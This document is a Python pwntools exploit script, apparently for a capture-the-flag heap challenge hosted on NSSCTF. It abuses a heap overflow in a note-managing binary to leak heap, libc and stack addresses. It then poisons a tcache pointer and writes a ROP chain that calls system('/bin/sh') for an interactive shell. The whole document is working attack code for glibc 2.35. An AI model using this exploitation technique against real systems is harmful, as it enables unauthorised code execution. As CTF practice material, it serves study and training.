| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 
 | from pwn import *import os
 from ctypes import *
 from ae64 import AE64
 from Crypto.Util.number import bytes_to_long,bytes_to_long
 
 context.clear(arch='amd64', os='linux', log_level='debug')
 
 bk = lambda :(dbg(),pause())
 dbg = lambda : gdb.attach(io)
 mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
 inter = lambda:io.interactive()
 re = lambda data: io.recv(data)
 sd = lambda data: io.send(data)
 sl = lambda data: io.sendline(data)
 rl = lambda data: io.recvuntil(data)
 sa = lambda data, content: io.sendafter(data,content)
 sla = lambda data, content: io.sendlineafter(data,content)
 lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
 li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
 l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
 def get_sb():
 return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
 def debug(c = 0):
 if(c): gdb.attach(io, c)
 else:  bk()
 def raddr(a=6):
 if(a==6):
 return u64(rv(a).ljust(8,b'\x00'))
 else:
 return u64(rl().strip('\n').ljust(8,b'\x00'))
 
 libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
 
 
 filename = "./pwn"
 
 io = remote("node1.anna.nssctf.cn",28575)
 elf = ELF(filename)
 
 libc_rop = ROP(libc)
 pop_rdi_ret = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
 def add(size, name, content):
 sla("choice>>", "1")
 sa("name", name)
 sla("size", str(size))
 sa("content", content)
 
 def show(idx):
 sla("choice>>", "3")
 sla("want to query", str(idx))
 
 def edit_name(idx, name, content):
 sla("choice>>", "4")
 sla("want to query", str(idx))
 sa("change", name)
 sa("A new letter!!!", content)
 
 def edit_content(idx, content):
 sla("choice>>", "5")
 sla("want to query", str(idx))
 sa("content", content)
 
 def delete(idx):
 sla("choice>>", "2")
 sla("want to query", str(idx))
 
 
 add(0x30, b'a'*0xf, b'b'*0x20)
 for i in range(9):
 add(0x100, b'a'*0xf, b'b'*0x20)
 
 edit_name(0, b'\x00', b'b')
 edit_name(0, b'\x00', b'\xff')
 
 
 
 delete(1)
 edit_content(0, b'a'*0x40)
 show(0)
 rl(b'a'*0x40)
 heap_base  = u64(io.recv(5).ljust(8, b'\x00')) << 12
 li("heap_base", heap_base)
 
 edit_content(0, b'a'*0x48)
 show(0)
 rl(b'a'*0x48)
 key  = u64(io.recv(8).ljust(8, b'\x00'))
 li("key", key)
 
 edit_content(0, b'a'*0x30 + p64(0) + p64(0x111) + p64(heap_base >> 12) + p64(key))
 
 
 for i in range(7):
 delete(8 - i)
 
 edit_content(0, b'a'*0x150)
 show(0)
 rl(b'a'*0x150)
 libc_base  = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
 li("libc_base", libc_base)
 restore_info = b'a'*0x30 + p64(0) + p64(0x111) + p64(heap_base >> 12) + p64(key) + b'\x00'*0xf0 + p64(0) + p64(0x111) + p64(libc_base + 0x21ace0)*2 + b'\x00'*0xf0
 edit_content(0, restore_info)
 
 payload = restore_info + p64(0) + p64(0x111) + p64((heap_base + 0x10) ^ (heap_base >> 12)) + p64(key)
 edit_content(0, payload)
 add(0x100, b'a', b'a')
 
 payload = b'\x00'*0x1e + b'\x10'
 environ = libc_base + libc.sym['environ']
 payload = payload.ljust(0xf8, b'\x00') + p64(environ-0x20)
 add(0x100, b'a', payload)
 
 add(0x100, b'a', b'a'*0x20)
 show(3)
 stack = l64()
 
 li("environ", environ)
 li("stack", stack)
 payload = b'\x00'*0x1e + b'\x10'
 payload = payload.ljust(0xf8, b'\x00') + p64(stack-0x148)
 edit_content(2, payload)
 
 
 
 system = libc_base + libc.sym['system']
 bin_sh = libc_base + next(libc.search(b"/bin/sh"))
 pop_rdi_ret += libc_base
 add(0x100, b'a', p64(libc_base + 0x21b000) + p64(pop_rdi_ret+1)+ p64(pop_rdi_ret)+ p64(bin_sh)+p64(system))
 
 
 inter()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 |